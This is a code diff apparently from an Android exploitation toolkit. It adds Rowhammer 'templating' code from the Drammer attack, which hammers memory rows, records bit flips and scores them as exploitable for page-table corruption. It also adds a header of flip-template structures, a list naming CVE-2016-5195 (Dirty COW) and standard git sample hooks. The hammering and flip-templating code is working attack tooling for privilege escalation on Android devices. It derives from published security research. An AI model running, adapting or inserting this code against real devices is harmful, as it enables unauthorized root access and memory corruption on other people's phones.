  224 + uint8_t *pattern_above,
  225 + uint8_t *pattern,
  226 + uint8_t *pattern_below,
  227 + std::vector<struct template_t *> &templates, struct ion_data *chunk,
  228 + int hammer_readcount) {
  229 +
  230 + int new_flips = 0;
  231 +
  232 + /* write pattern to victim row */
  233 + memcpy(virt_row, pattern, rowsize);
  234 +
  235 + /* hammer */
  236 + uint64_t t1 = get_ns();
  237 + for (int i = 0; i < hammer_readcount; i++) {
  238 + *virt_above;
  239 + *virt_below;
  240 + }
  241 + uint64_t t2 = get_ns();
  242 + int ns_per_read = (t2 - t1) / (hammer_readcount * 2);
  243 +
  244 + uint8_t *row_above = (uint8_t *) ((uintptr_t) virt_row - rowsize);
  245 + uint8_t *row_below = (uint8_t *) ((uintptr_t) virt_row + rowsize);
  246 +
  247 + /* compare bytes of the victim row again the original pattern */
  248 + for (int i = 0; i < rowsize; i++) {
  249 + if (virt_row[i] != pattern[i] ) {
  250 + if (template_exists(templates, (uintptr_t) virt_row + i, pattern[i], virt_row[i])) continue;
  251 +
  252 + new_flips++;
  253 + if (new_flips == 1) printf("\n");
  254 +
  255 + handle_flip(virt_row,
  256 + (uintptr_t *) virt_above,
  257 + (uintptr_t *) virt_below,
  258 + pattern, templates, i, chunk);
  259 + }
  260 +
  261 + if (row_above[i] != pattern_above[i] ) {
  262 + spc_flips++;
  263 + new_flips++;
  264 + if (new_flips == 1) printf("\n");
  265 + print("[SPECIAL FLIP] v:%p 0x%08x != 0x%08x\n", (uintptr_t) virt_above + i, virt_above[i], pattern_above[i]);
  266 + }
  267 + if (row_below[i] != pattern_below[i]) {
  268 + spc_flips++;
  269 + new_flips++;
  270 + if (new_flips == 1) printf("\n");
  271 + print("[SPECIAL FLIP] v:%p 0x%08x != 0x%08x\n", (uintptr_t) virt_below + i, virt_below[i], pattern_below[i]);
  272 + }
  273 + }
  274 + if (new_flips > 0)
  275 + printf("[TMPL - deltas] virtual row %d: ", (uintptr_t) virt_row / rowsize);
  276 +
  277 + return ns_per_read;
  278 +}
  279 +
  280 +bool times_up;
  281 +void alarm_handler(int signal) {
  282 + printf("\n[TIME] is up, wrapping up\n");
  283 + times_up = true;
  284 +}
  285 +
  286 +/* Perform 'conservative' rowhammer: we hammer each page in a row. The figure
  287 + * below - row size of 32K = 8 pages - illustrates a victim row (pages P1 .. P8)
  288 + * and its two aggressor rows (above, pages A1 .. A8, and below, pages B1 ..
  289 + * B8). We write patterns to the entire rows (using <*_row>) and then
  290 + * hammer pages by reading from <virt_above> and <virt_below>.
  291 + *
  292 + * /-- <above_row>
  293 + * | /-- <virt_above>
  294 + * | ----------+------------------------------
  295 + * \--->| A1 | A2 | A3 | A4 | A5 | A6 | A7 | A8 |
  296 + * -----------------------------------------
  297 + * /--->| P1 | P2 | P3 | P4 | P5 | P6 | P7 | P8 |<-- victim row
  298 + * | -----------------------------------------
  299 + * | /->| B1 | B2 | B3 | B4 | B5 | B6 | B7 | B8 |
  300 + * | | ----------+------------------------------
  301 + * | | \-- <virt_below>
  302 + * | \-- <below_row>
  303 + * \-- <virt_row>
  304 + */
  305 +void TMPL_run(std::vector<struct ion_data *> &chunks,
  306 + std::vector<struct template_t *> &templates,
  307 + std::vector<struct pattern_t *> &patterns, int timer, int hammer_readcount,
  308 + bool do_conservative) {
  309 +
  310 + int bytes_hammered = 0;
  311 + std::vector<uint64_t> readtimes;
  312 +
  313 + if (timer) {
  314 + printf("[TMPL] Setting alarm in %d seconds\n", timer);
  315 + signal(SIGALRM, alarm_handler);
  316 + alarm(timer);
  317 + }
  318 + times_up = false;
  319 +
  320 + int bytes_allocated = 0;
  321 + for (auto chunk : chunks) {
  322 + bytes_allocated += chunk->len;
  323 + }
  324 +
  325 + time_t start_time = time(NULL);
  326 + print("[TMPL] - Bytes allocated: %d (%d MB)\n", bytes_allocated, bytes_allocated / 1024 / 1024);
  327 + print("[TMPL] - Time: %d\n", start_time);
  328 + print("[TMPL] - Start templating\n");
  329 + for (auto chunk : chunks) {
  330 + ION_get_hammerable_rows(chunk);
  331 +
  332 + for (auto virt_row : chunk->hammerable_rows) {
  333 + uintptr_t phys_row = get_phys_addr(virt_row);
  334 + int virt_row_index = virt_row / rowsize;
  335 + int phys_row_index = phys_row / rowsize;
  336 +
  337 + int median_readtime = compute_median(readtimes);
  338 + int seconds_passed = time(NULL) - start_time;
  339 + int flips = templates.size();
  340 + int exploitable_flips = get_exploitable_flip_count(templates);
  341 + double kb_per_flip, percentage_exploitable;
  342 + int to0, to1;
  343 + if (flips > 0) {
  344 + kb_per_flip = (bytes_hammered / 1024) / (double) flips;
  345 + percentage_exploitable = (double) exploitable_flips / (double) flips * 100.0;
  346 + to0 = get_direction_flip_count(templates, ONE_TO_ZERO);
  347 + to1 = get_direction_flip_count(templates, ZERO_TO_ONE);
  348 + } else {
  349 + kb_per_flip = 0.0;
  350 + percentage_exploitable = 0.0;
  351 + to0 = 0;
  352 + to1 = 0;
  353 + }
  354 +
  355 + print("[TMPL - status] flips: %d | expl: %d | hammered: %d | runtime: %d | median: %d | kb_per_flip: %5.2f | perc_expl: %5.2f | special: %d | 0-to-1: %d | 1-to-0: %d\n",
  356 + flips, exploitable_flips, bytes_hammered, seconds_passed, median_readtime, kb_per_flip, percentage_exploitable, spc_flips, to1, to0);
  357 + print("[TMPL - hammer] virtual row %d: %p | physical row %d: %p\n",
  358 + virt_row_index, virt_row, phys_row_index, phys_row);
  359 + printf("[TMPL - deltas] virtual row %d: ", (uintptr_t) virt_row_index);
  360 +
  361 +
  362 + uintptr_t above_row = virt_row - rowsize;
  363 + uintptr_t below_row = virt_row + rowsize;
  364 +
  365 + int step = PAGESIZE;
  366 + if (do_conservative)
  367 + step = 64;
  368 +
  369 + for (int offset = 0; offset < rowsize; offset += step) {
  370 + uintptr_t virt_above = above_row + offset;
  371 + uintptr_t virt_below = below_row + offset;
  372 +
  373 + printf("|");
  374 + for (auto pattern: patterns) {
  375 +
  376 + /* write patterns to the adjacent rows and hammer */
  377 + memcpy((void *) above_row, pattern->above, rowsize);
  378 + memcpy((void *) below_row, pattern->below, rowsize);
  379 + int delta = do_hammer( (uint8_t *) virt_row,
  380 + (volatile uintptr_t *) virt_above,
  381 + (volatile uintptr_t *) virt_below,
  382 + pattern->above, pattern->victim, pattern->below, templates, chunk, hammer_readcount);
  383 + readtimes.push_back(delta);
  384 + printf("%d|", delta);
  385 +
  386 + pattern->cur_use++;
  387 + if (pattern->max_use && pattern->cur_use >= pattern->max_use) {
  388 + if (pattern->reset_above) pattern->reset_above (pattern->above);
  389 + if (pattern->reset_victim) pattern->reset_victim(pattern->victim);
  390 + if (pattern->reset_below) pattern->reset_below (pattern->below);
  391 + pattern->cur_use = 0;
  392 + }
  393 + }
  394 + printf(" ");
  395 +
  396 + bytes_hammered += step;
  397 +
  398 + if (times_up) break;
  399 + }
  400 + printf("\n");
  401 +
  402 + if (times_up) break;
  403 + }
  404 +
  405 + if (times_up) break;
  406 +
  407 + /* clean */
  408 + ION_clean(chunk);
  409 + }
  410 +
  411 + int median_readtime = compute_median(readtimes);
  412 +
  413 + printf("\n[TMPL] Done templating\n");
  414 + int flips = templates.size();
  415 + print("[TMPL] - bytes hammered: %d (%d MB)\n", bytes_hammered, bytes_hammered / 1024 / 1024);
  416 + print("[TMPL] - median readtime: %d\n", median_readtime);
  417 + print("[TMPL] - unique flips: %d (1-to-0: %d / 0-to-1: %d)\n", flips,
  418 + get_direction_flip_count(templates, ONE_TO_ZERO),
  419 + get_direction_flip_count(templates, ZERO_TO_ONE));
  420 +
  421 + if (flips > 0) {
  422 + double kb_per_flip = (bytes_hammered / 1024) / (double) flips;
  423 + printf("[TMPL] - kb per flip: %5.2f\n", kb_per_flip);
  424 + }
  425 + int exploitable_flips = get_exploitable_flip_count(templates);
  426 + print("[TMPL] - exploitable flips: %d\n", exploitable_flips);
  427 + if (exploitable_flips > 0) {
  428 + print("[TMPL] - first exploitable flip found after: %d seconds\n", get_first_exploitable_flip(templates)->found_at - start_time);
  429 +
  430 + double percentage_exploitable = (double) exploitable_flips / (double) flips * 100.0;
  431 + printf("[TMPL] - percentage of flips that are exploitable: %5.2f\n", percentage_exploitable);
  432 + }
  433 + print("[TMPL] - time spent: %d seconds\n", time(NULL) - start_time);
  434 +}
  435 +
... ...
exploits/drammer/templating.h 0 → 100644
  1 +++ a/exploits/drammer/templating.h
  1 +/*
  2 + * Copyright 2016, Victor van der Veen
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +
  17 +#ifndef __TEMPLATING_H__
  18 +#define __TEMPLATING_H__
  19 +
  20 +#include <vector>
  21 +
  22 +#include "ion.h"
  23 +
  24 +#define ONE_TO_ZERO 1
  25 +#define ZERO_TO_ONE 0
  26 +
  27 +#define FLIP_DIRECTION_STR(x) (((x) == ONE_TO_ZERO) ? "1-to-0" : "0-to-1")
  28 +
  29 +struct template_t {
  30 + uintptr_t virt_page; // virtual address of the vulnerable page
  31 + uintptr_t virt_addr; // virutal address of the vulnerable byte
  32 + uintptr_t virt_row;
  33 + uintptr_t phys_addr;
  34 + uintptr_t phys_page;
  35 + int virt_index;
  36 + uint8_t org_byte; // the original value of the vulnerable byte
  37 + uint32_t org_word;
  38 + uint8_t new_byte; // the new value
  39 + uint32_t new_word;
  40 + struct ion_data *ion_chunk;
  41 + int ion_len;
  42 +
  43 + uint8_t xorred_byte;
  44 + uint32_t xorred_word;
  45 + int bits_set;
  46 + int bit_offset;
  47 + int org_bit;
  48 + int direction;
  49 + bool maybe_exploitable;
  50 + bool likely_exploitable;
  51 + int rel_pfn;
  52 + int rel_address;
  53 + int rel_row_index;
  54 + uint32_t source_pte;
  55 + uint32_t target_pte;
  56 + uint32_t target_16k_pfn;
  57 + uint32_t source_16k_pfn;
  58 + uint32_t source_pfn, target_pfn;
  59 + uint32_t source_page_index_in_row, target_page_index_in_row;
  60 + uint32_t source_pfn_row, target_pfn_row;
  61 + int byte_index_in_row;
  62 + int byte_index_in_page;
  63 + int word_index_in_page;
  64 + int word_index_in_pt;
  65 + int bit_index_in_word;
  66 + int bit_index_in_byte;
  67 + uintptr_t virt_above;
  68 + uintptr_t virt_below;
  69 + bool confirmed;
  70 + time_t found_at;
  71 +};
  72 +
  73 +struct pattern_t {
  74 + uint8_t *above;
  75 + uint8_t *victim;
  76 + uint8_t *below;
  77 + int cur_use;
  78 + int max_use;
  79 + void (*reset_above) (uint8_t *);
  80 + void (*reset_victim)(uint8_t *);
  81 + void (*reset_below) (uint8_t *);
  82 +};
  83 +
  84 +
  85 +
  86 +struct template_t *templating(void);
  87 +void TMPL_run(std::vector<struct ion_data *> &chunks,
  88 + std::vector<struct template_t *> &templates,
  89 + std::vector<struct pattern_t *> &patterns, int timer, int hammer_readcount,
  90 + bool do_conservative);
  91 +struct template_t *find_template_in_rows(std::vector<struct ion_data *> &chunks, struct template_t *needle);
  92 +
  93 +#endif // __TEMPLATING_H__
... ...
exploits/exploit_list 0 → 100644
  1 +++ a/exploits/exploit_list
  1 +cve_2016_5195
... ...
exploits/urls 0 → 100644
  1 +++ a/exploits/urls
  1 +https://forum.xda-developers.com/showthread.php?t=1312859
  2 +https://forum.xda-developers.com/showthread.php?t=2050297
  3 +http://androidvulnerabilities.org/all
... ...
tools/busybox-android/.git-disabled/HEAD 0 → 100644
  1 +++ a/tools/busybox-android/.git-disabled/HEAD
  1 +ref: refs/heads/master
... ...
tools/busybox-android/.git-disabled/config 0 → 100644
  1 +++ a/tools/busybox-android/.git-disabled/config
  1 +[core]
  2 + repositoryformatversion = 0
  3 + filemode = true
  4 + bare = false
  5 + logallrefupdates = true
  6 +[remote "origin"]
  7 + url = https://github.com/Gnurou/busybox-android.git
  8 + fetch = +refs/heads/*:refs/remotes/origin/*
  9 +[branch "master"]
  10 + remote = origin
  11 + merge = refs/heads/master
... ...
tools/busybox-android/.git-disabled/description 0 → 100644
  1 +++ a/tools/busybox-android/.git-disabled/description
  1 +Unnamed repository; edit this file 'description' to name the repository.
... ...
tools/busybox-android/.git-disabled/hooks/applypatch-msg.sample 0 → 100755
  1 +++ a/tools/busybox-android/.git-disabled/hooks/applypatch-msg.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to check the commit log message taken by
  4 +# applypatch from an e-mail message.
  5 +#
  6 +# The hook should exit with non-zero status after issuing an
  7 +# appropriate message if it wants to stop the commit. The hook is
  8 +# allowed to edit the commit message file.
  9 +#
  10 +# To enable this hook, rename this file to "applypatch-msg".
  11 +
  12 +. git-sh-setup
  13 +commitmsg="$(git rev-parse --git-path hooks/commit-msg)"
  14 +test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"}
  15 +:
... ...
tools/busybox-android/.git-disabled/hooks/commit-msg.sample 0 → 100755
  1 +++ a/tools/busybox-android/.git-disabled/hooks/commit-msg.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to check the commit log message.
  4 +# Called by "git commit" with one argument, the name of the file
  5 +# that has the commit message. The hook should exit with non-zero
  6 +# status after issuing an appropriate message if it wants to stop the
  7 +# commit. The hook is allowed to edit the commit message file.
  8 +#
  9 +# To enable this hook, rename this file to "commit-msg".
  10 +
  11 +# Uncomment the below to add a Signed-off-by line to the message.
  12 +# Doing this in a hook is a bad idea in general, but the prepare-commit-msg
  13 +# hook is more suited to it.
  14 +#
  15 +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p')
  16 +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1"
  17 +
  18 +# This example catches duplicate Signed-off-by lines.
  19 +
  20 +test "" = "$(grep '^Signed-off-by: ' "$1" |
  21 + sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || {
  22 + echo >&2 Duplicate Signed-off-by lines.
  23 + exit 1
  24 +}
... ...
tools/busybox-android/.git-disabled/hooks/post-update.sample 0 → 100755
  1 +++ a/tools/busybox-android/.git-disabled/hooks/post-update.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to prepare a packed repository for use over
  4 +# dumb transports.
  5 +#
  6 +# To enable this hook, rename this file to "post-update".
  7 +
  8 +exec git update-server-info
... ...
tools/busybox-android/.git-disabled/hooks/pre-applypatch.sample 0 → 100755
  1 +++ a/tools/busybox-android/.git-disabled/hooks/pre-applypatch.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to verify what is about to be committed
  4 +# by applypatch from an e-mail message.
  5 +#
  6 +# The hook should exit with non-zero status after issuing an
  7 +# appropriate message if it wants to stop the commit.
  8 +#
  9 +# To enable this hook, rename this file to "pre-applypatch".
  10 +
  11 +. git-sh-setup
  12 +precommit="$(git rev-parse --git-path hooks/pre-commit)"
  13 +test -x "$precommit" && exec "$precommit" ${1+"$@"}
  14 +:
... ...
tools/busybox-android/.git-disabled/hooks/pre-commit.sample 0 → 100755
  1 +++ a/tools/busybox-android/.git-disabled/hooks/pre-commit.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to verify what is about to be committed.
  4 +# Called by "git commit" with no arguments. The hook should
  5 +# exit with non-zero status after issuing an appropriate message if
  6 +# it wants to stop the commit.
  7 +#
  8 +# To enable this hook, rename this file to "pre-commit".
  9 +
  10 +if git rev-parse --verify HEAD >/dev/null 2>&1
  11 +then
  12 + against=HEAD
  13 +else
  14 + # Initial commit: diff against an empty tree object
  15 + against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
  16 +fi
  17 +
  18 +# If you want to allow non-ASCII filenames set this variable to true.
  19 +allownonascii=$(git config --bool hooks.allownonascii)
  20 +
  21 +# Redirect output to stderr.
  22 +exec 1>&2
  23 +
  24 +# Cross platform projects tend to avoid non-ASCII filenames; prevent
  25 +# them from being added to the repository. We exploit the fact that the
  26 +# printable range starts at the space character and ends with tilde.
  27 +if [ "$allownonascii" != "true" ] &&
  28 + # Note that the use of brackets around a tr range is ok here, (it's
  29 + # even required, for portability to Solaris 10's /usr/bin/tr), since
  30 + # the square bracket bytes happen to fall in the designated range.
  31 + test $(git diff --cached --name-only --diff-filter=A -z $against |
  32 + LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0
  33 +then
  34 + cat <<\EOF
  35 +Error: Attempt to add a non-ASCII file name.
  36 +
  37 +This can cause problems if you want to work with people on other platforms.
  38 +
  39 +To be portable it is advisable to rename the file.
  40 +
  41 +If you know what you are doing you can disable this check using:
  42 +
  43 + git config hooks.allownonascii true
  44 +EOF
  45 + exit 1
  46 +fi
  47 +
  48 +# If there are whitespace errors, print the offending file names and fail.
  49 +exec git diff-index --check --cached $against --
... ...
tools/busybox-android/.git-disabled/hooks/pre-push.sample 0 → 100755
  1 +++ a/tools/busybox-android/.git-disabled/hooks/pre-push.sample
  1 +#!/bin/sh
  2 +
  3 +# An example hook script to verify what is about to be pushed. Called by "git
  4 +# push" after it has checked the remote status, but before anything has been
  5 +# pushed. If this script exits with a non-zero status nothing will be pushed.
  6 +#
  7 +# This hook is called with the following parameters:
  8 +#
  9 +# $1 -- Name of the remote to which the push is being done
  10 +# $2 -- URL to which the push is being done
  11 +#
  12 +# If pushing without using a named remote those arguments will be equal.
  13 +#
  14 +# Information about the commits which are being pushed is supplied as lines to
  15 +# the standard input in the form:
  16 +#
  17 +# <local ref> <local sha1> <remote ref> <remote sha1>
  18 +#
  19 +# This sample shows how to prevent push of commits where the log message starts
  20 +# with "WIP" (work in progress).
  21 +
  22 +remote="$1"
  23 +url="$2"
  24 +
  25 +z40=0000000000000000000000000000000000000000
  26 +
  27 +while read local_ref local_sha remote_ref remote_sha
  28 +do
  29 + if [ "$local_sha" = $z40 ]
  30 + then
  31 + # Handle delete
  32 + :
  33 + else
  34 + if [ "$remote_sha" = $z40 ]
  35 + then
  36 + # New branch, examine all commits
  37 + range="$local_sha"
  38 + else
  39 + # Update to existing branch, examine new commits
  40 + range="$remote_sha..$local_sha"
  41 + fi
  42 +
  43 + # Check for WIP commit
  44 + commit=`git rev-list -n 1 --grep '^WIP' "$range"`
  45 + if [ -n "$commit" ]
  46 + then
  47 + echo >&2 "Found WIP commit in $local_ref, not pushing"
  48 + exit 1
  49 + fi
  50 + fi
  51 +done
  52 +
  53 +exit 0
... ...
tools/busybox-android/.git-disabled/hooks/pre-rebase.sample 0 → 100755
  1 +++ a/tools/busybox-android/.git-disabled/hooks/pre-rebase.sample
  1 +#!/bin/sh
  2 +#
  3 +# Copyright (c) 2006, 2008 Junio C Hamano
  4 +#
  5 +# The "pre-rebase" hook is run just before "git rebase" starts doing
  6 +# its job, and can prevent the command from running by exiting with
  7 +# non-zero status.
  8 +#
  9 +# The hook is called with the following parameters:
  10 +#
  11 +# $1 -- the upstream the series was forked from.
  12 +# $2 -- the branch being rebased (or empty when rebasing the current branch).
  13 +#
  14 +# This sample shows how to prevent topic branches that are already
  15 +# merged to 'next' branch from getting rebased, because allowing it
  16 +# would result in rebasing already published history.
  17 +
  18 +publish=next
  19 +basebranch="$1"
  20 +if test "$#" = 2
  21 +then
  22 + topic="refs/heads/$2"
  23 +else
  24 + topic=`git symbolic-ref HEAD` ||
  25 + exit 0 ;# we do not interrupt rebasing detached HEAD
  26 +fi
  27 +
  28 +case "$topic" in
  29 +refs/heads/??/*)
  30 + ;;
  31 +*)
  32 + exit 0 ;# we do not interrupt others.
  33 + ;;
  34 +esac
  35 +
  36 +# Now we are dealing with a topic branch being rebased
  37 +# on top of master. Is it OK to rebase it?
  38 +
  39 +# Does the topic really exist?
  40 +git show-ref -q "$topic" || {
  41 + echo >&2 "No such branch $topic"
  42 + exit 1
  43 +}
  44 +
  45 +# Is topic fully merged to master?
  46 +not_in_master=`git rev-list --pretty=oneline ^master "$topic"`
  47 +if test -z "$not_in_master"
  48 +then
  49 + echo >&2 "$topic is fully merged to master; better remove it."
  50 + exit 1 ;# we could allow it, but there is no point.
  51 +fi
  52 +
  53 +# Is topic ever merged to next? If so you should not be rebasing it.
  54 +only_next_1=`git rev-list ^master "^$topic" ${publish} | sort`
  55 +only_next_2=`git rev-list ^master ${publish} | sort`
  56 +if test "$only_next_1" = "$only_next_2"
  57 +then
  58 + not_in_topic=`git rev-list "^$topic" master`
  59 + if test -z "$not_in_topic"
  60 + then
  61 + echo >&2 "$topic is already up-to-date with master"
  62 + exit 1 ;# we could allow it, but there is no point.
  63 + else
  64 + exit 0
  65 + fi
  66 +else
  67 + not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"`
  68 + /usr/bin/perl -e '
  69 + my $topic = $ARGV[0];
  70 + my $msg = "* $topic has commits already merged to public branch:\n";
  71 + my (%not_in_next) = map {
  72 + /^([0-9a-f]+) /;
  73 + ($1 => 1);
  74 + } split(/\n/, $ARGV[1]);
  75 + for my $elem (map {
  76 + /^([0-9a-f]+) (.*)$/;
  77 + [$1 => $2];
  78 + } split(/\n/, $ARGV[2])) {
  79 + if (!exists $not_in_next{$elem->[0]}) {
  80 + if ($msg) {
  81 + print STDERR $msg;
  82 + undef $msg;
  83 + }
  84 + print STDERR " $elem->[1]\n";
  85 + }
  86 + }
  87 + ' "$topic" "$not_in_next" "$not_in_master"
  88 + exit 1
  89 +fi
  90 +
  91 +<<\DOC_END
  92 +
  93 +This sample hook safeguards topic branches that have been
  94 +published from being rewound.
  95 +
  96 +The workflow assumed here is:
  97 +
  98 + * Once a topic branch forks from "master", "master" is never
  99 + merged into it again (either directly or indirectly).
  100 +
  101 + * Once a topic branch is fully cooked and merged into "master",
  102 + it is deleted. If you need to build on top of it to correct
  103 + earlier mistakes, a new topic branch is created by forking at
  104 + the tip of the "master". This is not strictly necessary, but
  105 + it makes it easier to keep your history simple.
  106 +
  107 + * Whenever you need to test or publish your changes to topic
  108 + branches, merge them into "next" branch.
  109 +
  110 +The script, being an example, hardcodes the publish branch name
  111 +to be "next", but it is trivial to make it configurable via
  112 +$GIT_DIR/config mechanism.
  113 +
  114 +With this workflow, you would want to know:
  115 +
  116 +(1) ... if a topic branch has ever been merged to "next". Young
  117 + topic branches can have stupid mistakes you would rather
  118 + clean up before publishing, and things that have not been
  119 + merged into other branches can be easily rebased without
  120 + affecting other people. But once it is published, you would
  121 + not want to rewind it.
  122 +
  123 +(2) ... if a topic branch has been fully merged to "master".
  124 + Then you can delete it. More importantly, you should not
  125 + build on top of it -- other people may already want to
  126 + change things related to the topic as patches against your
  127 + "master", so if you need further changes, it is better to
  128 + fork the topic (perhaps with the same name) afresh from the
  129 + tip of "master".
  130 +
  131 +Let's look at this example:
  132 +
  133 + o---o---o---o---o---o---o---o---o---o "next"
  134 + / / / /
  135 + / a---a---b A / /
  136 + / / / /
  137 + / / c---c---c---c B /
  138 + / / / \ /
  139 + / / / b---b C \ /
  140 + / / / / \ /
  141 + ---o---o---o---o---o---o---o---o---o---o---o "master"
  142 +
  143 +
  144 +A, B and C are topic branches.
  145 +
  146 + * A has one fix since it was merged up to "next".
  147 +
  148 + * B has finished. It has been fully merged up to "master" and "next",
  149 + and is ready to be deleted.
  150 +
  151 + * C has not merged to "next" at all.
  152 +
  153 +We would want to allow C to be rebased, refuse A, and encourage
  154 +B to be deleted.
  155 +
  156 +To compute (1):
  157 +
  158 + git rev-list ^master ^topic next
  159 + git rev-list ^master next
  160 +
  161 + if these match, topic has not merged in next at all.
  162 +
  163 +To compute (2):
  164 +
  165 + git rev-list master..topic
  166 +
  167 + if this is empty, it is fully merged to "master".
  168 +
  169 +DOC_END
... ...
tools/busybox-android/.git-disabled/hooks/pre-receive.sample 0 → 100755
  1 +++ a/tools/busybox-android/.git-disabled/hooks/pre-receive.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to make use of push options.
  4 +# The example simply echoes all push options that start with 'echoback='
  5 +# and rejects all pushes when the "reject" push option is used.
  6 +#
  7 +# To enable this hook, rename this file to "pre-receive".
  8 +
  9 +if test -n "$GIT_PUSH_OPTION_COUNT"
  10 +then
  11 + i=0
  12 + while test "$i" -lt "$GIT_PUSH_OPTION_COUNT"
  13 + do
  14 + eval "value=\$GIT_PUSH_OPTION_$i"
  15 + case "$value" in
  16 + echoback=*)
  17 + echo "echo from the pre-receive-hook: ${value#*=}" >&2
  18 + ;;
  19 + reject)
  20 + exit 1
  21 + esac
  22 + i=$((i + 1))
  23 + done
  24 +fi
... ...
tools/busybox-android/.git-disabled/hooks/prepare-commit-msg.sample 0 → 100755
  1 +++ a/tools/busybox-android/.git-disabled/hooks/prepare-commit-msg.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to prepare the commit log message.
  4 +# Called by "git commit" with the name of the file that has the
  5 +# commit message, followed by the description of the commit
  6 +# message's source. The hook's purpose is to edit the commit
  7 +# message file. If the hook fails with a non-zero status,
  8 +# the commit is aborted.
  9 +#
  10 +# To enable this hook, rename this file to "prepare-commit-msg".
  11 +
  12 +# This hook includes three examples. The first comments out the
  13 +# "Conflicts:" part of a merge commit.
  14 +#
  15 +# The second includes the output of "git diff --name-status -r"
  16 +# into the message, just before the "git status" output. It is
  17 +# commented because it doesn't cope with --amend or with squashed
  18 +# commits.
  19 +#
  20 +# The third example adds a Signed-off-by line to the message, that can
  21 +# still be edited. This is rarely a good idea.
  22 +
  23 +case "$2,$3" in
  24 + merge,)
  25 + /usr/bin/perl -i.bak -ne 's/^/# /, s/^# #/#/ if /^Conflicts/ .. /#/; print' "$1" ;;
  26 +
  27 +# ,|template,)
  28 +# /usr/bin/perl -i.bak -pe '
  29 +# print "\n" . `git diff --cached --name-status -r`
  30 +# if /^#/ && $first++ == 0' "$1" ;;
  31 +
  32 + *) ;;
  33 +esac
  34 +
  35 +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p')
  36 +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1"
... ...
tools/busybox-android/.git-disabled/hooks/update.sample 0 → 100755
  1 +++ a/tools/busybox-android/.git-disabled/hooks/update.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to block unannotated tags from entering.
  4 +# Called by "git receive-pack" with arguments: refname sha1-old sha1-new
  5 +#
  6 +# To enable this hook, rename this file to "update".
  7 +#
  8 +# Config
  9 +# ------
  10 +# hooks.allowunannotated
  11 +# This boolean sets whether unannotated tags will be allowed into the
  12 +# repository. By default they won't be.
  13 +# hooks.allowdeletetag
  14 +# This boolean sets whether deleting tags will be allowed in the
  15 +# repository. By default they won't be.
  16 +# hooks.allowmodifytag
  17 +# This boolean sets whether a tag may be modified after creation. By default
  18 +# it won't be.
  19 +# hooks.allowdeletebranch
  20 +# This boolean sets whether deleting branches will be allowed in the
  21 +# repository. By default they won't be.
  22 +# hooks.denycreatebranch
  23 +# This boolean sets whether remotely creating branches will be denied
  24 +# in the repository. By default this is allowed.
  25 +#
  26 +
  27 +# --- Command line
  28 +refname="$1"
  29 +oldrev="$2"
  30 +newrev="$3"
  31 +
  32 +# --- Safety check
  33 +if [ -z "$GIT_DIR" ]; then
  34 + echo "Don't run this script from the command line." >&2
  35 + echo " (if you want, you could supply GIT_DIR then run" >&2
  36 + echo " $0 <ref> <oldrev> <newrev>)" >&2
  37 + exit 1
  38 +fi
  39 +
  40 +if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then
  41 + echo "usage: $0 <ref> <oldrev> <newrev>" >&2
  42 + exit 1
  43 +fi
  44 +
  45 +# --- Config
  46 +allowunannotated=$(git config --bool hooks.allowunannotated)
  47 +allowdeletebranch=$(git config --bool hooks.allowdeletebranch)
  48 +denycreatebranch=$(git config --bool hooks.denycreatebranch)
  49 +allowdeletetag=$(git config --bool hooks.allowdeletetag)
  50 +allowmodifytag=$(git config --bool hooks.allowmodifytag)
  51 +
  52 +# check for no description
  53 +projectdesc=$(sed -e '1q' "$GIT_DIR/description")
  54 +case "$projectdesc" in
  55 +"Unnamed repository"* | "")
  56 + echo "*** Project description file hasn't been set" >&2
  57 + exit 1
  58 + ;;
  59 +esac
  60 +
  61 +# --- Check types
  62 +# if $newrev is 0000...0000, it's a commit to delete a ref.
  63 +zero="0000000000000000000000000000000000000000"
  64 +if [ "$newrev" = "$zero" ]; then
  65 + newrev_type=delete
  66 +else
  67 + newrev_type=$(git cat-file -t $newrev)
  68 +fi
  69 +
  70 +case "$refname","$newrev_type" in
  71 + refs/tags/*,commit)
  72 + # un-annotated tag
  73 + short_refname=${refname##refs/tags/}
  74 + if [ "$allowunannotated" != "true" ]; then
  75 + echo "*** The un-annotated tag, $short_refname, is not allowed in this repository" >&2
  76 + echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2
  77 + exit 1
  78 + fi
  79 + ;;
  80 + refs/tags/*,delete)
  81 + # delete tag
  82 + if [ "$allowdeletetag" != "true" ]; then
  83 + echo "*** Deleting a tag is not allowed in this repository" >&2
  84 + exit 1
  85 + fi
  86 + ;;
  87 + refs/tags/*,tag)
  88 + # annotated tag
  89 + if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1
  90 + then
  91 + echo "*** Tag '$refname' already exists." >&2
  92 + echo "*** Modifying a tag is not allowed in this repository." >&2
  93 + exit 1
  94 + fi
  95 + ;;
  96 + refs/heads/*,commit)
  97 + # branch
  98 + if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then
  99 + echo "*** Creating a branch is not allowed in this repository" >&2
  100 + exit 1
  101 + fi
